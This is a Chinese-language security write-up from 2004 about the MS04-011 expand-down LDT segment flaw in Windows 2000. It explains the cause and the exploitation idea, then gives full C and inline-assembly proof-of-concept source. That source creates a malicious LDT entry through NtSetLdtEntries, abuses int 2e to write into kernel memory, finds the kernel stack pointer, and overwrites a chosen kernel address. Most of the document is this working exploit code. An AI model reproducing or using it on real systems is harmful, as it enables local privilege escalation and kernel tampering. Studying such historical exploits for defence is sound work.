作者: mslug (a147654_at_hotmail.com)
主页: www.safechina.net

因为本人水平有限,错误的地方还请指正.

1.漏洞原因

z0mbie文章里提到在Win2k下进程可以自己添加LDT项,这可能是由于历史原因才留在系统代码中,
因为Win2k本身并不会用到LDT.这个漏洞的核心是LDT项中Expand-Down位的设置.例子,一个LDT
的Base为100,Limit为7FFFFFFF.当Expand-Down位为0时.LDT的有效范围是: 100 ~ 7FFFFFFF.
但当Expand-Down位为1时,有效范围是: 80000000 ~ FFFFFFFF 和 0 ~ FF,及刚好相反.在Win2k
添加LDT项的检测过程没有考虑这一情况,导致用户可以建立包含内核空间在内的LDT项(这其实
只是一方面,GDT[23]本来就是0-FFFFFFFF,关键是我们可以控制LDT的基址,而内核有时假设基址
为0,这样能使其在处理内存时发生计算误差).

2.利用原理

因为Win2k是基于页的内存保护机制,而我们又运行在ring3态下这一事实,所以需要借助内核本身
来进行越权操作.eEye的文中提到int 2e中的rep movsd指令.int 2e的使用方法:

mov eax, service_id
lea edx, service_param
int 2e

当运行rep movsd指令时:

edi为内核堆栈指针(KSP, 我机子上一般是FDxxxxxx)
esi指向service_param
ecx为参数的个数(in 32bit)

相当于memcpy (es.base+edi, ds.base+esi, ecx*4);

这里service_param的内容,es寄存器都是可控的.唯一不确定的是edi及内核堆栈指针.获得KSP一
种方法是,先假设一个大约值,比如FD000000,再分配一较大内存空间(16MB)buf,利用这个漏洞将
一特征码写入buf,最后找出特征码在buf中的偏移量offset,计算出:

KSP精确值 = 假设值(FD000000) + offset.

至于提升权限的部分,还没找到比较通用的方法.eEye说加LDT,但LDT的地址在KSP下方,没理解.
IDT, GDT也在KSP下方.我能想到就是改Driver Dispatch Routies,通过I/O API调用.因为不是
很通用这里就不列了.如果有什么好的方法,请告诉我.谢谢.

3.具体步骤

见代码.另外Win2k的代码也有了,可以和eEye的公告对照着看.


/***********************************************************
* 计算出Kernel Stack Pointer后,就能精确控制写入的地址了.
* 要注意的是只能覆写到KSP以上的内核空间.
***********************************************************/

/******************************************************************
* Windows Expand-Down Data Segment Local Privilege Escalation
* [MS04-011]
*
* Bug found by: Derek Soeder
* Author:  mslug (a1476854@hotmail.com), All rights reserved.
*
* Version: PoC 0.1
*
* Tested:  Win2k pro en sp4
*
* Thanks:  z0mbie's article :)
*
* Compile: cl winldt.c
*
* Date:    18 Apr 2004
*******************************************************************/


#include <windows.h>
#include <stdio.h>
#include <string.h>

#if 1
   #define KernelStackPtr  0xFD000000  //估计值
   #define BedSize         0x01000000
#else
   #define KernelStackPtr  0xF0000000
   #define BedSize         0x10000000
#endif

unsigned char bed[BedSize];
unsigned char pin[]="COOL";

int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);

WORD SetupLDT(WORD seg, DWORD ldtbase);

unsigned long patch_to;

int main(int argc, char *argv[])
{
   DWORD ldtbase, KSP;
   int i;
   HMODULE hNtdll;
  
   if(argc<2) {
      printf("** coded by mslug@safechina.net **\n");
      printf("winldt.exe <kernel address>\n");
      return 0;
   }

   patch_to = strtoul(argv[1], 0, 16);
  
   hNtdll = LoadLibrary("ntdll.dll");
  
   (DWORD*)NtSetLdtEntries = (DWORD*)GetProcAddress(hNtdll, "NtSetLdtEntries");
  
   memset(bed, 'A', BedSize);
   bed[BedSize-1]=0;
  
   ldtbase = (DWORD) &bed[0] - KernelStackPtr;
  
   printf("[+] User-land bed : 0x%08X\n", &bed[0]);
   printf("[+] 1st LDT base  : 0x%08X\n", ldtbase);

   SetupLDT(0x1f, ldtbase);
   __asm {
      push es
      push 1fh
      pop es
      mov eax, 11h      //1 param
      lea edx, pin
      int 2eh    
      pop es
   }

   for (KSP=0, i=0; i<BedSize-3; i++)  {
      if (bed[i]  =='C' && bed[i+1]=='O' &&
          bed[i+2]=='O' && bed[i+3]=='L' )
      {
         KSP = KernelStackPtr + i;
         printf("[!] Knl stack ptr : 0x%08X\n", KSP);
         //KSP = (DWORD)&bed[i]-ldtbase;
         //printf("[!] Knl stack ptr : 0x%08X\n", KSP);
         break;
      }
   }
  
   if(!KSP) {
      printf("[-] Can't locate Kernel stack pointer, try again\n");
      return 0;
   } else if (patch_to < KSP) {
      printf("[-] Can only patch kernel above KSP\n");
      return 0;
   }
  
   ldtbase = patch_to - KSP;

   printf("[+] Patch to      : 0x%08X\n", patch_to);
   printf("[+] 2nd LDT base  : 0x%08X\n", ldtbase);

   SetupLDT(0x17, ldtbase);
   __asm {
      push es
      push 17h
      pop es
      mov eax, 11h
      lea edx, pin
      int 2eh    
      pop es
   }
  
   return 0;
}

WORD SetupLDT(WORD seg, DWORD ldtbase)
{
   LDT_ENTRY EvilLdt;
   DWORD base  = ldtbase;
   DWORD limit = 0;
   int ret;
  
   EvilLdt.BaseLow                   = base & 0xFFFF;
   EvilLdt.HighWord.Bytes.BaseMid    = base >> 16;
   EvilLdt.HighWord.Bytes.BaseHi     = base >> 24;
   EvilLdt.LimitLow                  = (limit >> 12) & 0xFFFF;
   EvilLdt.HighWord.Bits.LimitHi     = limit >> 28;
   EvilLdt.HighWord.Bits.Granularity = 1;    // 0/1, if 1, limit=(limit<<12)|FFF
   EvilLdt.HighWord.Bits.Default_Big = 1;    // 0=16bit  1=32bit
   EvilLdt.HighWord.Bits.Reserved_0  = 0;    // 0/1
   EvilLdt.HighWord.Bits.Sys         = 0;    // 0/1
   EvilLdt.HighWord.Bits.Pres        = 1;    // 0/1 (presence bit)
   EvilLdt.HighWord.Bits.Dpl         = 3;    // only 3 allowed :-(
   EvilLdt.HighWord.Bits.Type        = 23;   // [16..27]

   ret = NtSetLdtEntries( seg,
                    *(DWORD*)&EvilLdt,
                    *(((DWORD*)&EvilLdt)+1),
                    0,0,0);
   if (ret < 0) {
      printf("[-] Set ldt error : %08X.\n", ret);
      exit(0);
   }

   return seg;
}